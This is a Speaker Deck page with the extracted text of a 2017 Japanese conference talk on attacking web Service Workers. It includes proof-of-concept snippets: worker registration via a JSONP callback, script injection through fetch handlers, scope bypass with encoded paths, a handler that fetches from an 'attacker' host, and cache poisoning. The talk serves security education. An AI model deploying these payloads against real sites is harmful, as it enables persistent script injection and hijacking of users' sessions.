Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
攻撃者視点で見る Service Worker / PWA Study SW
Search
Masato Kinugawa
September 14, 2017
Technology
20
26k
攻撃者視点で見る Service Worker / PWA Study SW
PWA Study(
https://web-study.connpass.com/event/65267/
) で発表した資料です。
Masato Kinugawa
September 14, 2017
Tweet
Share
More Decks by Masato Kinugawa
See All by Masato Kinugawa
注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3
masatokinugawa
8
3.4k
バグハンティングのすゝめ / P3NFEST
masatokinugawa
5
2.1k
Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12
masatokinugawa
13
19k
How I Hacked Microsoft Teams and got $150,000 in Pwn2Own
masatokinugawa
1
21k
JSでDoSる/ Shibuya.XSS techtalk #11
masatokinugawa
21
6.8k
Electron: Abusing the lack of context isolation - CureCon(en)
masatokinugawa
5
98k
Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)
masatokinugawa
9
25k
バグハンターが見てきたBug Bountyの7年 / LINE Developer Meetup #34 Security Bug Bounty
masatokinugawa
18
12k
5文字で書くJavaScript/ Shibuya.XSS techtalk #10
masatokinugawa
35
20k
Other Decks in Technology
See All in Technology
運用しているアプリケーションのDBのリプレイスをやってみた
miura55
1
670
急成長する企業で作った、エンジニアが輝ける制度/ 20250214 Rinto Ikenoue
shift_evolve
3
1.2k
Datadog APM におけるトレース収集の流れ及び Retention Filters のはなし / datadog-apm-trace-retention-filters
k6s4i53rx
0
330
組織貢献をするフリーランスエンジニアという生き方
n_takehata
1
1.3k
Helm , Kustomize に代わる !? 次世代 k8s パッケージマネージャー Glasskube 入門 / glasskube-entry
parupappa2929
0
240
偶然 × 行動で人生の可能性を広げよう / Serendipity × Action: Discover Your Possibilities
ar_tama
1
1.1k
室長と気ままに学ぶマイクロソフトのビジネスアプリケーションとビジネスプロセス
ryoheig0405
0
360
現場の種を事業の芽にする - エンジニア主導のイノベーションを事業戦略に装着する方法 -
kzkmaeda
2
2k
オブザーバビリティの観点でみるAWS / AWS from observability perspective
ymotongpoo
8
1.4k
速くて安いWebサイトを作る
nishiharatsubasa
10
12k
【Developers Summit 2025】プロダクトエンジニアから学ぶ、 ユーザーにより高い価値を届ける技術
niwatakeru
2
1.3k
プロセス改善による品質向上事例
tomasagi
2
2.4k
Featured
See All Featured
Understanding Cognitive Biases in Performance Measurement
bluesmoon
27
1.6k
10 Git Anti Patterns You Should be Aware of
lemiorhan
PRO
656
59k
We Have a Design System, Now What?
morganepeng
51
7.4k
A better future with KSS
kneath
238
17k
Building Flexible Design Systems
yeseniaperezcruz
328
38k
Docker and Python
trallard
44
3.3k
Reflections from 52 weeks, 52 projects
jeffersonlam
348
20k
Gamification - CAS2011
davidbonilla
80
5.1k
Build The Right Thing And Hit Your Dates
maggiecrowley
34
2.5k
Statistics for Hackers
jakevdp
797
220k
Art, The Web, and Tiny UX
lynnandtonic
298
20k
Exploring the Power of Turbo Streams & Action Cable | RailsConf2023
kevinliebholz
30
4.6k
Transcript
None
None
• •
• • • <script> navigator.serviceWorker.register("/sw.js") </script>
• • •
• • https://html5experts.jp/kyo_ago/5153/ https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=23
None
HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...] alert(1)//({});
<script> navigator.serviceWorker.register("/jsonp?callback=[SW_HERE]//"); </script> HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...]
onfetch=event=>console.log('fetch')//({});
<script> var formData = new FormData(); formData.append("csrf_token", "secret"); var sw
= "/* [SW_CODE] */"; var blob = new Blob([sw], { type: "text/javascript"}); formData.append("file", blob, "sw.js"); fetch("/upload", {method: "POST", body: formData}) .then(/* Register SW */); </script>
• •
• • onfetch=e=>{ body = '<script>alert(1)</script>'; init = {headers: {'content-type':
'text/html'}}; e.respondWith(new Response(body,init)); }
• • • <script> navigator.serviceWorker.register("/sw.js", {scope: "/"}) </script>
• • "/assets/js/sw.js", {scope: "https://other.example.com/"} "/assets/js/sw.js", {scope: "/assets/"} "/assets/js/sw.js", {scope:
"/assets/css/"} "/assets/js/sw.js", {scope: "/assets/js/"} "/assets/js/sw.js", {scope: "/assets/js/sub/"}
HTTP/1.1 200 OK content-type: text/javascript service-worker-allowed: / [...]
https://example.com/api/jsonp https://example.com/api%2Fjsonp
❝ ❞
https://example.com/out-of-scope/ https://example.com/foo/..%2Fout-of-scope%2F
None
• • •
onfetch=e=>{ e.respondWith(fetch("//attacker/poc.swf")) } •
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="example.jp" /> </cross-domain-policy> https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016
❝ ❞
<script src="//example.com/socialbutton.js"></script>
self.addEventListener('install', e => { e.registerForeignFetch({ scopes: ['/'], origins: ['*']// });
}); onforeignfetch = e => { e.respondWith(fetch(e.request).then(res => ({ response: new Response('alert(1)')// }))) }
• •
onfetch = event => { event.respondWith( caches.open("v1").then(function(cache) { return cache.match(event.request).then(function(response)
{ if (response) { return response;// } else { return fetch(event.request.clone()).then(function(response) { cache.put(event.request, response.clone());// return response; }); } }) }) ); };
<script> caches.open("v1").then(function(cache){ content = "<script>alert(1)</script>"; init = {headers: {"content-type": "text/html"}};
request = new Request("poison.html"); response = new Response(content, init); cache.put(request, response); }) </script>
<script> document.write(localStorage.getItem('name')); </script>
• • •
• • HTTP/1.1 200 OK Content-Type:text/html Clear-Site-Data: "storage"
GET https://example.com/sw.js HTTP/1.1 Host: example.com Connection: keep-alive Pragma: no-cache Cache-Control:
no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Accept: */* Service-Worker: script Referer: https://example.com/ Accept-Encoding: gzip, deflate, br Accept-Language: ja,en;q=0.8,en-US;q=0.6
• •
None
None